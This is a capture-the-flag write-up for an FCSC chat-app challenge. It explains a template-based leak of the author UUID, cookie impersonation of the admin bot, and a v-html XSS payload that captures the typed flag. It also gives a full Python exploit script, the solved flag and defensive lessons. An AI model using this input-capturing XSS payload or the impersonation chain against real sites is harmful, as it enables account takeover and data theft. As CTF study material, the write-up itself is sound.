Overview
The challenge provides a Node.js/Nuxt chat application with “end-to-end encryption” and a patch file that hints at what was fixed. The goal is to retrieve a flag sent by an admin bot.
Reading noise-fix.patch immediately reveals two vulnerabilities that were corrected:
- Author UUID leak -
message.author(the sender’s fulluserId) was exposed to all users via the Nunjucks template context. - XSS via
v-html- the server-rendered template HTML was injected into the page using Vue’sv-htmldirective, making HTML injection possible through a user-controlled template.
Source Code Analysis
Fake Encryption (useNoise.ts)
encrypt(data: string) {
const key = crypto.getRandomValues(new Uint8Array(data.length));
let out = "";
for (let i = 0; i < data.length; i++) {
out += (data.charCodeAt(i) ^ key[i]).toString(16).padStart(2, "0");
}
return out;
}
Each message is XOR-encrypted with a random key that is immediately discarded. The ciphertext is permanent and unreadable by anyone - including the server. The admin bot sends the flag as a chat message, but it is encrypted before transmission. The flag cannot be recovered from the message content.
User-controlled Template + Vulnerable Render (worker.ts)
// VULNERABLE version
pipe.on("render", (userId) => {
return nunjucks.renderString(userTemplates.get(userId) ?? defaultTemplate, {
messages, // ← all messages with raw author UUIDs
userId,
split,
});
});
The messages array is passed directly to the template with each message’s author field set to the sender’s raw userId (a UUID). Any user can set a custom template (via POST /api/room/:id/set-template) and access msg.author for all messages, including the bot’s.
The fix maps author to a boolean before rendering:
const msgs = messages.map((msg) => ({ ...msg, author: msg.author === userId }));
XSS via v-html ([id].vue)
<div v-html="render" />
The server-rendered template HTML is inserted directly into the DOM using v-html (equivalent to innerHTML). While <script> tags do not execute via innerHTML, HTML event handlers do (e.g., onerror, onload).
Bot (bot/index.ts)
const FLAG = "FCSC{...}";
const adminMessages = [
"Hello, I'm the admin of this chat.",
"I'm sorry, I can't help you with that.",
"You can have this flag if you want: " + FLAG,
];
The bot uses Puppeteer to visit a room and type messages via keyboard simulation. The flag text passes through the #form-input field in plaintext before encryption.
Exploit Chain
1. Leak bot userId via author field in custom template
2. Impersonate bot (set userId cookie to bot's UUID)
3. Set XSS payload as bot's template
4. Bot's render loop (every 2s) injects our <img onerror=...> via v-html
5. XSS monitors #form-input, captures flag before encryption
6. Flag exfiltrated via same-origin fetch to set-template
7. Read flag from render
Step 1 - Leak the bot’s UUID
Set a template that prints every message author, trigger the bot visit in a background thread, then poll the render:
leak_template = "{% for msg in messages %}AUTHOR:{{ msg.author }}:END {% endfor %}"
The bot’s userId appears as the author of its messages.
Step 2 - Impersonate the bot
The userId is just a cookie. Copy it:
bot_session = requests.Session()
bot_session.cookies.set("userId", bot_uuid)
Now POST /api/room/:id/set-template updates userTemplates[botUUID].
Step 3 - Set the XSS template
<img src=x onerror="
var check = setInterval(function() {
var v = document.querySelector('#form-input').value;
if (v && v.indexOf('FCSC') !== -1 && v.indexOf('}') !== -1) {
clearInterval(check);
fetch('/api/room/ROOM_ID/set-template', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({template: v})
});
}
}, 100)
">
The condition waits for the full flag (including the closing }) to be present in the input before exfiltrating, to avoid capturing a partial value while the bot is still typing.
Step 4 - Bot fires the XSS
The bot visits the room. The render loop (useIntervalFn every 2 seconds) fetches the current render - which is now our malicious template. The <img onerror=...> executes in the bot’s browser context.
When the bot types the flag message into #form-input, our interval captures the plaintext value and calls set-template using the bot’s session (same origin, cookie automatically sent).
Step 5 - Read the flag
r = bot_session.get(f"{BASE}/api/room/{ROOM_ID}")
# template is now: "You can have this flag if you want: FCSC{...}"
Full Exploit Script
import requests
import threading
import time
import re
import random
BASE = "http://localhost:8000"
ROOM_ID = ''.join(random.choices('abcdef0123456789', k=32))
s = requests.Session()
s.get(BASE)
our_id = s.cookies.get("userId")
# Set leak template
leak_template = "{% for msg in messages %}AUTHOR:{{ msg.author }}:END {% endfor %}"
s.post(f"{BASE}/api/room/{ROOM_ID}/set-template", json={"template": leak_template})
# Trigger bot in background
def trigger_bot():
requests.post(f"{BASE}/api/visit", json={"roomId": ROOM_ID})
threading.Thread(target=trigger_bot, daemon=True).start()
# Poll for bot UUID
bot_uuid = None
for _ in range(30):
time.sleep(0.5)
r = s.get(f"{BASE}/api/room/{ROOM_ID}")
for m in re.findall(r'AUTHOR:([^:]+):END', r.text):
if m != our_id:
bot_uuid = m
break
if bot_uuid:
break
print(f"[+] Bot UUID: {bot_uuid}")
# Set XSS template for bot
xss_template = (
'<img src=x onerror="'
"var room='" + ROOM_ID + "';"
"var check=setInterval(function(){"
"var v=document.querySelector('#form-input').value;"
"if(v&&v.indexOf('FCSC')!==-1&&v.indexOf('}')!==-1){"
"clearInterval(check);"
"fetch('/api/room/'+room+'/set-template',{"
"method:'POST',"
"headers:{'Content-Type':'application/json'},"
"body:JSON.stringify({template:v})"
"});"
"}"
"},100)"
'">'
)
bot_session = requests.Session()
bot_session.cookies.set("userId", bot_uuid)
bot_session.post(f"{BASE}/api/room/{ROOM_ID}/set-template", json={"template": xss_template})
# Wait for flag
for _ in range(30):
time.sleep(0.5)
r = bot_session.get(f"{BASE}/api/room/{ROOM_ID}")
if "FCSC" in r.text and "<img" not in r.text:
match = re.search(r'FCSC\{[^}]+\}', r.text)
if match:
print(f"[+] FLAG: {match.group(0)}")
break
Flag
FCSC{8e296edc5285898d721feb0bd6552e1b7ac33c8fba90060faded567032c10a9f}
Lessons Learned
- Never expose internal object fields directly to user-controlled templates. Map sensitive fields to safe representations before rendering.
v-htmlis dangerous with server-rendered content. Preferv-textor sanitize HTML before injection.- Broken encryption gives a false sense of security. The XOR-with-discarded-key scheme made the messages unreadable, but the plaintext still exists in the browser before encryption - and XSS can intercept it.
- Session tokens stored in cookies should be treated as secrets. Leaking a
userIdvia a template allows full impersonation.